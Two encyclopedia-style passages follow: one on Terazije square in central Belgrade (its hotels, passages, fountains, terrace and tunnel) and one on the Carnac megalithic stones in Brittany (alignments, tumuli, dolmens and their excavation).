Hotel Kasina (1935); the old hotel was built around 1860, next to Hotel Pariz. The owner of Kasina was Doka Bogdanović (1860–1914). He allowed for the travelling cinemas to show movies in Kasina in the 1900s and in 1910 Jovanović opened the permanent cinema. In 1913 he founded the "Factory for the making of the cinematography films" and purchased the technology for filming movies. He hired Russian photographer Samson Chernov who filmed photo journals from the Second Balkan War which Jovanović showed in Kasina under the title "First Serbian program". When the World War I broke out, Jovanović and Chernov were filming new movies for the cinema in September 1914 on the Syrmian front, when Jovanović fell off the horse, dying after a while from the aftermaths of the fall. The plays of the National Theatre in Belgrade have been performed here until 1920. The present Hotel Kasina was built at the same place in 1922. Due to the unrepresentative building of the Serbian assembly, and its bad conditions, the deputies occasionally held parliamentary sessions in the "Kasina" instead. This continued after the creation of the Kingdom of the Serbs, Croats and Slovenes in 1918, until the new assembly building was finished in 1936;
Palace Albania (1940), built in 1937, the first high rise in Belgrade and the highest building in the Balkans before World War II;
Theatre on Terazije, in the building of the Retirement Fund of the National Bank of the Kingdom of Yugoslavia (1941); It is a Serbian equivalent to Broadway staging numerous musical productions and adaptations from around the world. The theatre is one of the most modern in Belgrade being reconstructed in 2005;
The biggest McDonald's restaurant in the Balkans (1989);
Other features
Bezistan
Bezistan is a shopping area in an indoor passage that connects Terazije and the Square of Nikola Pašić. Originally, it was a location of Hotel "Pariz", which was built in 1870 and demolished in 1948 during the reconstruction of Terazije. Passage has been protected by the state as a "cultural property", though still under the "preliminary protection", and was nicknamed by the architects as the "belly button of Belgrade". It is part of the wider protected Spatial Cultural-Historical Unit of Stari Grad.
Since the 1950s, the covered square was a quiet corner in sole downtown, with mini gardens and coffee shops and a popular destination of many Belgraders, but in the recent decades mainly lost that function. In 1959 a round plateau with the fountain and a bronze sculpture, called "Girl with the seashell", sculptured by Aleksandar Zarin, was built. A webbed roof, shaped like a semi-opened dome, made of concrete and projected by Vladeta Maksimović, was constructed to cover the plateau and the fountain. Because of that feature, and a small shops located in it, it was named "Bezistan", though it never functioned as the bezistan in its true, oriental sense of the term. Revitalization and reconstruction was projected for the second half of 2008, but the only work that has been done was the reconstruction of the plateau and the fountain in 2011.
A popular disco club "Bezistan" was opened in the 1980s. It was located in the basement of the venue which was later adapted into the McDonald restaurant. It was different from other discos of the era, and was the only "dancing club" in the city. When the popularity of the Italo disco reached Belgrade, the club organized dance competitions for participants from the entire Yugoslavia. Band Zana was promoted for the first time here, while band Aska practiced its choreography for their performance at the 1982 Eurovision song contest. The venue was closed in 1989.
Bezistan covers an area of . The major feature within Bezistan was the "Kozara" cinema, one of the most popular in Belgrade for decades. It was closed in 2003, purchased by Croatian tycoon Ivica Todorić and allegedly planned as a supermarket for Todorić's Serbian brand "Idea" before it was destroyed by fire on 25 May 2012 It has been left in that condition ever since. Bezistan had candy and souvenir shops on one side, and modernistic section on other side, with McDonald's restaurant, modern coffee shop and "Reiffeisen bank", but as of 2018 it looks like nothing more than a neglected, empty passage. New possible reconstruction was announced in April 2017, followed by a series of postponing: for October 2017, January, March and May 2018. The project included new paving of the area and reintroduction of the greenery. Nothing has been done, though, and in May 2019 part of the concrete ceiling collapsed so the city again promised to renovate the passage, sometime in 2019. After the reports of further deterioration of the ceiling in January 2021, city announced that Bezistan will not be renovated in 2021 either, even though it became part of the Terazije protected area in January 2020.
Čumić Alley
In the early 20th century, a section behind the main square became a hub of commercial and craft shops. After the owner of the lot, quite big for the central urban zone of the city, Živko Kuzmanović, the area became known as the Kuzmanović Alley, or Kuzmanović Yard. Initially, quite a successful business area, by the 1930s the shops went bankrupt and were closed. The alley was transformed into an informal settlement. In the reprint of its article from 13 March 1937, daily Politika writes about the city's decision to tear down the Kuzmanović Yard: It seems that another disgrace will disappear from Belgrade, but much larger and more dangerous for the health and lives of the people than that eyesore that "Albania" was. A row of shacks and hovels in "Kuzmanović yard", which altogether cover an area of 4.000 m2 between the streets of Dečanska, Pašićeva nad Kolarčeva, will disappear. Belgrade municipality sent its commission yesterday to check the condition of the "Kuzmanović yard". The commission established that the shanties and burrows are prone to collapse any minute and that it will advocate for them to be demolished, in the interest of health and lives of the tenants. The shantytown was demolished by 1940. The alley was later renamed Čumićevo Sokače ("Čumić Alley") after a politician Aćim Čumić, former mayor of Belgrade and prime minister of Serbia.
In 1989, the first modern shopping mall (concurrently with the Staklenac on the Republic Square) in Belgrade was opened in Čumić Alley, colloquially shortened only to Čumić. It soon became one of the elite shopping locations in Belgrade, with numerous cafés, galleries and clubs in addition. It is also the shortest passage between the squares of the Republic and of Nikola Pašić. The entire alley complex, designed by architect Milutin Gec, was finished in 1991. By the late 1990s, when other shopping malls started to open around the city, the decline of Čumić began. By 2010, the district was almost completely abandoned, becoming a ghost town. Then a group of young designers moved into the empty shops and began selling their homemade crafts, forming a Belgrade Design District with over 100 shops. In 2018 city administration stepped in with plans of creating a full artistic quart in the future. The deadline is set for 2020.
The shopping mall was built without proper permits as the city urban plans envisioned public garage on that location, so there was always a possibility for the city to demolish it and go with its plan. In May 2020 city reiterated that it will not demolish it, but due to the ownership issues, lack of paperwork, plans and designs, and COVID-19 pandemic, the reconstruction was moved for 2021. Nothing has been done by August 2022, when the reconstruction of the upper section of the Nušićeva Street was announced, which should include the access section of the Čumić Alley.
Sremska
Sremska is a short, curved street which connects the section where the Knez Mihailova and Terazije meet and the Maršala Birjuzova street, making a pedestrian connection between Terazije and Zeleni Venac, and, further down the Maršala Birjuzova, with Varoš Kapija. Sremska is known for the shopping mall on its right side. On the left side, the tall building of "Agrobanka" was built from 1989 to 1994, and as a part of the project, a barren concrete plateau was built right above the Terazije tunnel. Since the 1990s it was used as a location for the small flea market. In 2005 the market was removed and from December 2010 to April 2011 the concrete slab was turned into a mini-square (piazzetta) with small, mobile park, in the form of the roof garden. The urban pocket has lawns, flowers and evergreen shrubs. It is also Belgrade's first public location in the past 100 years that had a mosaic done on the floor. Materials used include the porous concrete, movable metal construction on which the grass turfs are planted and the drip irrigation system was installed. With Terazije, it is part of the "Stari Beograd" ("Old Belgrade") cultural unit, which is under protection. In time, due to the poor maintenance, by 2019 the piazetta deteriorated again.
The inclined street is long, and covers an area of . In the first half of 2019 the reconstruction of the street was announced. Reconstruction began in June 2022. The street will be adapted into the extension of the Knez Mihailova's pedestrian zone. The asphalt concrete will be replaced with granite slabs, with added benches, candelabra, pergolas and jardinieres.
Terazije Fountain
Colloquially, the term applies to any of the three historical fountains in Terazije: a drinking fountain (1860–1911 & 1976–), a waterworks fountain (1892–1912) and a decorative fountain (1927–1947).
Terazije drinking fountain (, );
The fountain replaced the old Turkish water tower, which had only one water pipe. It was envisioned by the first regulatory plan developed for Terazije in 1843. The plan for the fountain was presented to the State Council on 13 March 1846. General design included the monument-like, four-sided fountain with water pipes and troughs on two opposite side, with stone benches on two other sides. The monument would be tall and the entire complex would be made of dressed stone. From start, the fountain would be connected to the city waterworks. On 16 March, the Council accepted the proposal and allocated 2,570 silver forints. The project wasn't executed.
Italian sculptor from Novara, Giuseppe Cassano, drafted the new, detailed plan for the fountain. Still, the plan followed all general stipulations from the 1846 design. He presented it on 26 May 1855, but this plan also remained only on paper. By July 1859, the public and the press openly objected to the shape of the existing Turkish water tower, as being worn out by the time and having just one pipe which is not nearly enough for the needs of this part of the city. The fountain was disparaging the neighborhood, especially regarding its location in the burgeoning business area and new commercial hub of Belgrade as Terazije was described as one of the most beautiful Belgrade cities by this time. As the area around it also was not properly arranged, there were constant crowds and quarrels. This was regular for other fountains in Belgrade at the time, too, and some skirmishes ended up having major political impact, like the 1862 Čukur Fountain incident.
In the end, the fountain was built to celebrate the return of Prince Miloš Obrenović to Serbia and his second rule, though the historians can't agree whether he supplied the funds for its construction, as often reported. Foundation stone was laid and consecrated on , though it is often erroneously reported as 1859. The old water tower was removed. The fountain provided of water on all four pipes. The fountain had appearance it preserved until today. It has carved "MO", the initials of Miloš Obrenović, and "1860", the year of its completion. Italian stone cutter Francesco Franco Lorano sculptured it.
When the new, modern Belgrade waterworks system was inaugurated, Metropolitan of Belgrade Mihailo Jovanović consecrated it on the fountain on , the Feast of Saints Peter and Paul. During the reconstruction of Terazije, the fountain was planned for relocation in March 1911. City administration decided so, because they were sure it will damage the planned, future appearance of Terazije. It was originally to be moved, with "the full piety", either to the spring of Hajdučka Česma in Košutnjak, or somewhere within the city limits, at some respected location. It was to be relocated in its entirety and to be transformed into the "flower vase".
In the end, it was moved to Topčider in 1912. It was situated in the churchyard of the Topčider Church. Question remains whether the relocation was indeed influenced by the urbanism or rather by the political reasons as the ruling dynasties switched from the Obrenović to the Karađorđević in 1903. Relocation helped the preservation of the fountain. Terazije were heavily bombed and damaged in both World wars, including its major landmarks like Palace Albania and Hotel Moskva, but the fountain in the park, on the outskirts of the city, survived unharmed.
During the Communist period, it was decided to return the fountain to Terazije. With the participation of structural geologist Milorad Dimitrijević, the relocation was conducted on 12 December 1975. Nothing was changed on the object itself, so it preserved its original 1860 appearance. The location is not the same, though. It was moved a bit closer to the Hotel Moskva than it used to be, because of the underground passage dug under Terazije in 1967.
Terazije (waterworks) fountain;
The fountain was opened in 1892, when the first Belgrade waterworks was ceremonially opened in Terazije. It was located on the opposing side of Terazije from the drinking fountain, and situated on the pedestrian pathway in front of the Kasina and Pariz hotels. The water jet was tall. It was demolished during the major Terazije reconstruction in 1911–1912. With few surviving photographs which depict it, the fountain disappeared from the collective memory and is completely forgotten today.
Terazije fountain (, );
The first proper, decorative fountain (fontana) in Belgrade, as previously only drinking fountains (česma) were built.
A plan for the rearrangement of Terazije in the summer of 1911, among numerous other changes, included the construction of a new fountain. Among many rundelas (round flower beds), on the side towards today's passage to the Nušićeva street one rundela was used as the base for the postament of the monument "Victory Herald", a work of Ivan Meštrović. Meštrović's statue was finished in 1913, immediately after and as a continuation, in concept and style, of the cycle of sculptures intended for his large-scale project for a shrine commemorating the Battle of Kosovo ("Temple of Vidovdan"), which includes representative sculptures such as Miloš Obilić and Marko Kraljević. Conceived as a colossal athletic male nude set up on a tall column, the monument symbolically represents the iconic figure of victory. In iconographic terms, the personification of the triumph of a victorious nation can be traced back to classical antiquity and its mythic hero Hercules. The outbreak of World War I and the reconstruction of a massively demolished Belgrade delayed the dedication but the idea was revived in the 1920s. However, some puritan and female organizations protested heavily against posting a tall figure of a fully naked man in downtown. It was then opted to erect the monument in the Kalemegdan Park in the Belgrade Fortress. Becoming known as Pobednik (The Victor), the statue is today a symbol and one of the most recognized landmarks of Belgrade.
The rundela designated as the base of the monument remained empty. Due to the impending marriage of the King Alexander I Karađorđević and Romanian princess Maria, city architect Momir Korunović was given a task of making something out of it, worthy of the royal wedding which was set for 8 June 1922. The rundela was turned into the several steps elevated podium, with a stone border which was ornamented with the lion heads from the outside and pigeons from the inside. Due to the lack of time and funds, the animal ornaments were made of papier-mâché, like a theatrical scenography. After the wedding, the cardboard ornaments survived until the fall of 1922 and were disintegrated by the rains. The rundela again remained empty for several years.
In 1927 city administration decided to adapt it into a fountain. It was ceremonially open on 2 April 1927. During winters, in order to prevent frost damage, the entire fountain was covered with hay, earth and grass on top. It was a constant source of making fun of the city government, which was being accused by the journalists for creating a midden in downtown instead of progressing to the future. The fountain itself though, was considered a beauty: it was made of greenish granite, had sprinklers of different intensity while the bed of the pond was made from Murano glass. In 1947, Dobrović demolished almost everything to the ground level, including the fountain His explanation for the destruction was that the fountain "choked" the traffic.
When the original plans were made, the municipality purchased the marble in 1911 which was to be used not only for the fountain, but for the entire reconstruction the square. When Belgrade was conquered by the German army during World War I, in October 1915, German commander, Generalfeldmarschall August von Mackensen, order for the dead soldiers to be buried on the hill above Banovo Brdo, where an extension of Košutnjak forest is today. He also ordered for three monuments to be built (two for German and one for Serbian soldiers), and the marble for Terazije was used. Same marble was used in 1916 when German emperor Wilhelm II arrived in Belgrade for the large stone bench, built for him by the German soldiers next to the cemetery. Though in various states of bad shape, all four object made from Terazije marble still survive in the 21st century.
Terazije Terrace
Terazije Terrace () is a sloping park coming down from the high Terazije Ridge (on top of which Terazije is built) to the right bank of the Sava river, but more specifically coming down to the Zeleni Venac market. It covers area of . Geographically, it is a part of the larger, long Sava Ridge.
The top of the area is an excellent natural lookout point to the Sava river valley, Novi Beograd and further into the Syrmia region. The future of the terrace is a subject of public and academic debate ever since the 19th century. The urban arrangement of the area "behind the Prince Miloš fountain" was tackled for the first time in 1867, by the city's first urbanist Emilijan Josimović. Architect Andra Stevanović in 1897 suggested the transformation of the area into the scenic viewpoint, which would "open view on the Sava river and the Podrinje mountains". His colleague, Dimitrije T. Leko suggested Terazije Terrace as the location of the new National Assembly of Serbia building. Engineer Jevta Stevanović proposed in 1910 for the Belgrade Municipal Hall to be built here. First general plan for it is from 1912 by the French architect Alban Chamond which envisioned it as the cascades of trapezoid piazzetas with flowers and fountains, leaving the panoramic view intact. Austrian architects Emil Hoppe and Otto Schönthal proposed their solution for the slope in 1919. They envisioned it as an esplanade, surrounded by the new buildings and the monument to Unification. The monumental, grandiose project was rejected for being too expensive.
International design competition for Belgrade's general plan (GP) was announced in 1921 and none of the subjected works, dealing with 58 proposed public buildings, dealt with the terrace, leaving an empty space in downtown. Head of the commission for GP Đorđe Kovaljevski noticed this and in 1922 ordered new plan just for this area. In 1923 a project for constructing a terrace-observation point was made, as the "central city lookout". City began to buy out the lots along the Balkanska and Prizrenska streets and to demolish objects. For the first time, this opened view from Terazije to the Sava. The 1924 GP also tackled the issue of the slope.
In 1929, Serbian architect Nikola Dobrović's plan was accepted. He projected two tall, tower-like business buildings on the both ends of the ridge and a plateau between with several small business and leisure objects, while the slope itself would be a succession of horizontal gardens, pools and fountains. Dobrović envisioned it as part of the closest connection of downtown and the Sava river: Terazije-Terazije Terrace-Kraljice Natalije Street-Karađođreva Street. Due to the Great Depression, in 1930 city decided that the temporary solution will be park on three step levels, until it becomes possible to construct the "future monumental terrace". At that time, only the upper section was adapted as a park, while the lower section was occupied by the houses in the Kraljice Natalije Street and their backyards. In order to hide that "eyesore" from the view of the people in downtown, a front-type wooden wall made of slats was constructed in the 1930s. It was made like a grid, and the ivy was planted in order to grow around it and to obstruct the view on the lower neighborhood. The houses were demolished after World War II, so the park today extends all the way to the Kraljice Natalije Street.
In 1937, Romanian architects won the competition on arrangement of the entire downtown from Theatre Square to Terazije. They envisioned demolition of both the Balkan and the Moskva hotels and formation of the monumental park. However, new city's GP from 1939 retained the project of Dobrović. There was another project, by Stanko Mandić, in 1951. In the 1990s Dobrović's plan was reactivated, but the temporary park remained and a competition from 1991 (won by Slobodan Rajević and Zoran Nikezić) resulted only in the large building at the beginning of the Balkanska street. Bulky residential-business complex, built by the "Mali Kolektiv" company, met with disapproval of the public. General consensus was that the building rather defaced Terazije instead to beautify it. Another competition followed in 1998.
In 2006 a new tender for architectural solution for Terazije Terrace was organized which resulted in 2007 project by Jovan Mitrović and Dejan Miljković, and 2008 project by Branislav Redžić (shared with a different project by Grozdana Šišović and Dejan Milanović), but they all remained only on paper. City architect at the time, Đorđe Bobić, favored the Šišović-Milanović project, which was met with criticism. In 2015, city urbanist Milutin Folić announced plans to reactivate and adapt Redžić's project and asked for the donations of €3 million. After that failed, city claimed it spared enough money in 2016 and announced reconstruction for 2017, but nothing happened. City again announced it will arrange the slope in 2019 but without specifying by which project. In January 2020 city official stated they will combine two designs, the 2008 one by Redžić and the second awarded work from 1998 by Branislav Mitrović and Miljković. A month later, city urbanist Marko Stojčić included the Šišović-Milanović in this group, as this project has now been deemed unjustly pushed aside. Stojčić said that at the new bidding will not be a proper bidding, instead the jury will cherry-pick from each project and adjust it to the modern guidelines (pedestrian zone, more green areas, etc.). He also said that the jury, unlike now, won't be made only of architects, but the clerks from the city administration will be members, too.
Public protested, considering a circus the constant change of projects and prolonged start of the reconstruction. All three invited teams refused to participate in the proposed bidding, so the city decided to return to the 2008 project by Redžić in May 2020, announcing the reconstruction is not ready anyway due to technical problems, moving it for 2021. By this time, urbanists and other architects began to criticize all the projects as wrong, starting with the Dobrović's design and all the other which all followed his basic idea which includes, in different variants, concreting of some , construction of the pointless monumental stairways under which the "tunnel" will host just another shopping mall. Instead, some proposed ditching of all those projects and construction of a proper, modern park, which would descent down to the Sava bank and help conduct fresh river air directly into the overheated city downtown.
In June 2022, Stojčić stated that he awarded the entire project to Redžić, who will do it in three phases, bordered by the streets: Balkanska-Kraljice Natalije, Kraljice Natalije-Lomina, and Lomina-Gavrila Principa. The park should be on top of the Sava-Danube tunnel. Construction of this tunnel was tentatively scheduled for 2023, when the first phase of the terrace should also start. Phase two should be finished in 2025. The project should have much more greenery than any of the previous designs and the previously planned of constructed area and parking lots, will be cut in half. Idea of making the terrace into the scenic viewpoint again, with or without other phases of reconstruction, was discarded by architect and member of the Serbian Academy of Sciences and Arts , who stated that "(this idea) is completely disavowed in our time by the gigantic structures in Belgrade Waterfront, erected right between the terrace and the Sava.
Terazije Tunnel
Terazije Tunnel () is a traffic tunnel which passes right beneath Terazije in the east–west direction. The eastern entry point is at the intersection of the Dečanska and Nušićeva streets, while the western is the extension of the Brankova street. It is a direct and the closest link between downtown Belgrade and the Branko's Bridge and further to the New Belgrade and Zemun. In one of his projects, architect Dimitrije T. Leko envisioned the tunnel in 1955. In 1957-60 a building was constructed by Zagorka Mešulam which is located at the future entry point from the Nušićeva street. An elevated empty space in the base of the building was built to keep and area for the future descent into the tunnel. The space was hidden behind the wall before the tunnel was built. The tunnel was projected by the Ljubomir Porfirović and Milosav Vidaković and was officially opened on 4 December 1970 by the President of Yugoslavia Josip Broz Tito and the first lady Jovanka Broz. It was part of the four major official openings on the same day, which also included the Mostar interchange, the highway through Belgrade and the Gazela bridge. Today Terazije tunnel is known as one of the busiest traffic routes in Belgrade and even a short stoppage in it causes widespread traffic jams all over the downtown. On the same day, the pedestrian underground passage in Nušićeva street, at the entrance into the tunnel, was also opened. First 24/7 supermarket in Belgrade, (in Serbian: dragstor), was opened in the passage. Since then, it deteriorated quite a bit, with only few shops working, despite a partial reconstruction in 2009.
During the planning, it was envisioned that two old buildings at the Zeleni Venac entrance will be demolished. One is located at the corner of the Prizrenska and Sremska, and another at the corner of the Sremska and Maršala Birjuzova. The latter had a distinction of surviving World War II, though damaged, even though the surrounding area was so badly ruined that it had to be leveled to the ground after the war. Post-war urbanists planned to demolish it, too, but it survived. In the end, one wing of the building in the Prizrenska had to be demolished, while the building in the Maršala Birjuzova survived again. Earning a moniker of "tunnel sentinel", its façade was fully renovated in 2019.
Already in the 1970s it was evident that the tunnel is not adequate for the amount of traffic. A "twin tunnel" for the traffic from the opposite direction was planned. It was to connect the Bulevar kralja Aleksandra and the Branko's Bridge. According to the proposed plans, the traffic would descend underground between the bridge and the Republic Square. In time, several other routes were proposed, like the Branko's Bridge-Bulevar Despota Stefana (Palilula neighborhood), from the Pop Lukina Street at the bridge to the First school of economics at the corner of the Cetinjska and Bulevar Despota Stefana streets. Ultimately, the tunnel wasn't built. In the 2010s the idea of a tunnel resurfaced, but though the exit point at Palilula remained in the new plans, the entry point was moved to the west, near the Old Sava Bridge area.
See also
Hotel Moskva (Belgrade)
Palace Albania
References
External links
City of Belgrade
Neighborhoods of Belgrade
Squares in Belgrade
Former and proposed municipalities of Belgrade
Stari Grad, Belgrade
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https://en.wikipedia.org/wiki/Carnac%20stones
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Carnac stones
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The Carnac stones () are an exceptionally dense collection of megalithic sites near the south coast of Brittany in northwestern France, consisting of stone alignments (rows), dolmens (stone tombs), tumuli (burial mounds) and single menhirs (standing stones). More than 3,000 prehistoric standing stones were hewn from local granite and erected by the pre-Celtic people of Brittany and form the largest such collection in the world. Most of the stones are within the Breton municipality of Carnac, but some to the east are within neighboring La Trinité-sur-Mer. The stones were erected at some stage during the Neolithic period, probably around 3300 BC, but some may date to as early as 4500 BC.
Although the stones date from 4500–3300 BC, modern myths associated them with 1st century AD Roman and later Christian occupations. A Christian myth associated with the stones held that they were pagan soldiers in pursuit of Pope Cornelius when he turned them to stone. Brittany has its own local versions of the Arthurian cycle. Local tradition similarly claims that the reason they stand in such perfectly straight lines is that they are a Roman legion turned to stone by Merlin.
In recent centuries, many of the sites have been neglected, with reports of dolmens being used as sheep shelters, chicken sheds or even ovens. Even more commonly, stones have been removed to make way for roads, or as building materials. The continuing management of the sites remains a controversial topic.
According to Neil Oliver's BBC documentary A History of Ancient Britain, the alignments would have been built by hunter-gatherer people ("These weren't erected by Neolithic farmers, but by Mesolithic hunters"). That would place them in a different category from Stonehenge in England, which has been claimed to be the work of Early European Farmers. The question of which people Carnac stones are to be attributed to is still debated.
Alignments
There are three major groups of stone rowsMénec, Kermario and Kerlescan. They may have once formed a single group but have been split up as stones were removed for other purposes.
The standing stones are made of weathered granite from local outcroppings that once extensively covered the area.
Ménec alignments
Eleven converging rows of menhirs stretching for . There are what Alexander Thom considered to be the remains of stone circles at either end. According to the tourist office there is a "cromlech containing 71 stone blocks" at the western end and a very ruined cromlech at the eastern end. The largest stones, around high, are at the wider, western end; the stones then become as small as high along the length of the alignment before growing in height again toward the extreme eastern end.
Kermario alignment
This fan-like layout recurs a little further along to the east in the Kermario (House of the Dead) alignment. It consists of 1029 stones in ten columns, about in length. A stone circle to the east end, where the stones are shorter, was revealed by aerial photography.
Kerlescan alignments
A smaller group of 555 stones, further to the east of the other two sites. It is composed of 13 lines with a total length of about , ranging in height from to . At the extreme west, where the stones are tallest, there is a stone circle which has 39 stones. There may also be another stone circle to the north.
Petit-Ménec alignments
A much smaller group, further east again of Kerlescan, falling within the commune of La Trinité-sur-Mer. These are now set in woods, and most are covered with moss and ivy.
Tumuli
There are several tumuli, mounds of earth built up over a grave. In this area, they generally feature a passage leading to a central chamber which once held neolithic artifacts.
Three exceptionally large burial mounds are known from the Carnac and Morbihan area, dating from the mid-5th millennium BC and known collectively as 'Carnacéen tumuli': Saint-Michel, Tumiac and Mané-er-Hroëk. Each of these tumuli contained a megalithic burial chamber, containing the burial of only one individual, along with numerous large polished stone axeheads, stone arm-rings, and jewellery made from callaïs (variscite and turqouise). Scientific analyses have shown that many of the axeheads are made of jade from the Italian Alps, whilst the callaïs was imported from south-western Iberia. Archaeological evidence indicates that the callaïs was brought from Iberia by boat, across the Bay of Biscay, rather than along the coast or overland. Some of the Carnacéen jade axeheads are up to 46 cm in length and may have taken over a thousand hours to produce, on top of the time required to quarry the material and transport it to Carnac. The extraordinary nature of these burials, the scale of the tumuli, the distant exchange networks and effort involved, all indicate that these were the burials of extremely important elite individuals, that some researchers have described as "divine kings". The large-scale effort and organisation involved in the construction of megalithic monuments, such as the 20.6 metre-tall Grand Menhir of Er Grah, further suggests the existence of rulers or kings in the Carnac and Morbihan region. A similar situation has been described for the later megalithic culture in Ireland, which shows some close similarities to the megalithic culture in Brittany. Based on archaeological, DNA and ethnographic evidence it has been suggested that an elite male buried in the Newgrange passage grave, c. 3200 BC, may have been a "god-king" and part of a "dynastic elite". Similarities have also been noted with the Michelsberg culture in northeastern France and Germany (c. 4200 BC), which featured large tumulus burials within fortified settlements and the use of Alpine jade axes, all associated with the emergence of "high-ranking elites". Engravings on megalithic monuments in Carnac also feature numerous depictions of objects interpreted as symbols of authority and power, such as curved throwing weapons, axes and sceptres.
The Carnacéen tumuli were contemporary with the rich burials of the Varna culture in Bulgaria (c. 4500 BC), which contained more gold than all excavated sites from the rest of the world combined in the 5th millennium BC. The Varna burials attest to the existence of powerful elites in southeastern Europe at the same time as they appear in Carnac. Grave 43 of the Varna necropolis, which contained a single male buried with a sceptre and numerous gold ornaments, also contained an Alpine jade axehead.
Saint-Michel
The tumulus of Saint-Michel was constructed between 5000 BCE and 3400 BCE. At its base it is , and is high. It required of stone and earth. Its function was a tomb for the members of the ruling class. It contained various funerary objects, such as 15 stone chests, large jade axes, pottery, and callaïs jewellery, most of which are currently held by the Museum of Prehistory of Carnac. It was excavated in 1862 by René Galles with a series of vertical pits, digging down . Le Rouzic also excavated it between 1900 and 1907, discovering the tomb and the stone chests.
A chapel was built on top in 1663 and was rebuilt in 1813, before being destroyed in 1923. The current building is an identical reconstruction of the 1663 chapel, built in 1926.
Tumiac
The tumulus of Tumiac is located in Arzon, in the Rhuys peninsula, south of the Gulf of Morbihan. It is also known as 'Caesar's mound' because, according to local legend, it served as an observatory for Julius Caesar during his war against the Veneti in 56 BC.
The site was excavated in 1853. The crater visible at the top of the tumulus corresponds to the vertical hole made at the time for its exploration. It was the subject of new excavations and work in 1934, which brought to light several secondary burials.
The tumulus, circular/elliptical in shape, is made up of layers of clay. It measures 50m in diameter and 15m in height. It contains a central rectangular burial chamber 4.40m long, 2.40m wide and 1.75m high. This chamber is made up of three monolithic supports and is covered with a quartz slab 4.80m long. It had a wooden floor and two engraved side slabs. The funerary chamber contained rich furniture consisting of 11 jadeite axes, 26 fibrolite axes and 249 callaïs beads. These objects are kept in the Archaeological Museum of Vannes. According to carbon-14 dating, the tumulus of Tumiac was erected between 4790 and 4530 BC.
The tumulus of Tumiac has been classified as a historical monument since 1923.
Mané-er-Hroëk
The Tumulus of Mané-er-Hroëk (also known as the Tumulus du Ruyk) is located in Locmariaquer, Morbihan, immediately west of the hamlet of Er-Hroueg and about 1 km northeast of the Pierres Plates dolmen.
The tumulus comprises a rectangular burial vault of about 5m by 3m, covered with two roofing slabs, supporting a mound about 100m long and 60m wide. The tumulus rises to approximately 15m above sea level, or almost 8m above the natural ground. The current entrance, with a staircase, is a modern addition. An engraved stele, found broken into three pieces, stands next to the entrance.
The tumulus was excavated in 1863 by the Polymathic Society of Morbihan. These excavations led to the discovery of the vault and stele and brought to light 106 precious stone axes (the largest of which measures 46cm), 49 callaïs beads and 9 callaïs pendants. These objects were subsequently deposited in the Archeological Museum of Vannes. The tumulus has been classified as a historical monument since 1889.
Moustoir
Also known as Er Mané, it is a chamber tomb long, wide, and high. It has a dolmen at the west end, and two tombs at the east end. A small menhir, approximately high, is nearby.
Grave goods
Dolmens
There are several dolmens scattered around the area. These dolmens are generally considered to have been tombs; however, the acidic soil of Brittany has eroded away the bones. They were constructed with several large stones supporting a capstone, then buried under a mound of earth. In many cases, the mound is no longer present, sometimes due to archeological excavation, and only the large stones remain, in various states of ruin.
Er-Roc'h-Feutet
North, near the Chapelle de La Madeleine. Has a completely covered roof.
La Madeleine
A large dolmen measuring , with a long broken capstone. It is named after the nearby Chapelle de La Madeleine, which is still used.
Kercado
A rare dolmen still covered by its original cairn. South of the Kermario alignments, it is wide, high, and has a small menhir on top. Previously surrounded by a circle of small menhirs out, the main passage is long and leads to a large chamber where numerous artifacts were found, including axes, arrowheads, some animal and human teeth, some pearls and sherds, and 26 beads of a unique bluish Nephrite gem. It has some Megalithic art carved on its inner surfaces in the form of serpentines and a human-sized double-axe symbol carved in the underside of its main roof slab. In ancient cultures, the axe and more precisely the bi-pennis used to represent the lightning powers of divinity. It was constructed around 4600 BC and used for approximately 3,000 years.
Mané Brizil
Kerlescan
A roughly rectangular mound, with only one capstone remaining. It is aligned east-to-west, with a passage entrance to the south.
Kermarquer
On a small hill, has two separate chambers.
Mané-Kerioned
(Pixies' mound or Grotte de Grionnec):A group of three dolmens with layout unique in Brittany, once covered by a tumulus. Whereas most groups of dolmens are parallel, these are arranged in a horseshoe. The largest of the three is at the east, .
Crucuno
A "classic" dolmen, with a , tablestone resting on pillars roughly high. Prior to 1900, it was connected by a passage making it long.
Crucuno stone rectangle
: A classic 3, 4, 5 rectangle of 21 menhirs varying in height from to that is aligned along its diagonal to the midsummer sunrise. Alexander Thom suggested it measured forty by thirty of his megalithic yards.
Other formations
There are some individual menhirs and at least one other formation which do not fit into the above categories.
Manio quadrilateral
An arrangement of stones to form the perimeter of a large rectangle. Originally a "tertre tumulus" with a central mound, it is long, and aligned to east of northeast. The quadrilateral is wide to the east, but only wide at the west.
Manio giant
Near the quadrilateral is a single massive menhir, now known as the "Giant". Over tall, it was re-erected around 1900 by Zacharie Le Rouzic, and overlooks the nearby Kerlescan alignment.
Excavation and analysis
From the 1720s increasing interest was shown in these features. In 1796, for example, La Tour d'Auvergne attributed them to druidic gatherings. In 1805, A. Maudet de Penhoët claimed they represented stars in the sky.
Englishmen Francis Ronalds and Alexander Blair made a detailed survey of the stones in 1834. Ronalds created the first accurate drawings of many of them with his patented perspective tracing instrument, which were printed in a book Sketches at Carnac (Brittany) in 1834.
Miln and Le Rouzic
The first extensive excavation was performed in the 1860s by Scottish antiquary James Miln (1819–1881), who reported that by then fewer than 700 of the 3,000 stones were still standing. Towards 1875, Miln engaged a local boy, (1864–1939), as his assistant, and Zacharie learnt archaeology on the job. After Miln's death, he left the results of his excavations to the town of Carnac, and the James Miln Museum was established there by his brother Robert to house the artifacts. Zacharie became the director of the Museum and, although self-taught, became an internationally recognised expert on megaliths in the region. He too left the results of his work to the town, and the museum is now named Le Musée de Préhistoire James Miln – Zacharie le Rouzic.
Other theories
In 1887, H. de Cleuziou argued for a connection between the rows of stones and the directions of sunsets at the solstices.
Among more recent studies, Alexander Thom worked with his son Archie from 1970 to 1974 to carry out a detailed survey of the Carnac alignments, and produced a series of papers on the astronomical alignments of the stones as well as statistical analysis supporting his concept of the megalithic yard. Thom's megalithic yard has been challenged.
There are also general theories on the use of the stones as astronomical observatories, as has been claimed for Stonehenge. According to one such theory, the massive menhir at nearby Locmariaquer was linked to the alignments for such a purpose.
Management
The Musée de Préhistoire James Miln – Zacharie le Rouzic is at the centre of conserving and displaying the artefacts from the area. It also contains the "world's largest collection [of] prehistoric[al] exhibits" with over 6,600 prehistoric objects from 136 different sites.
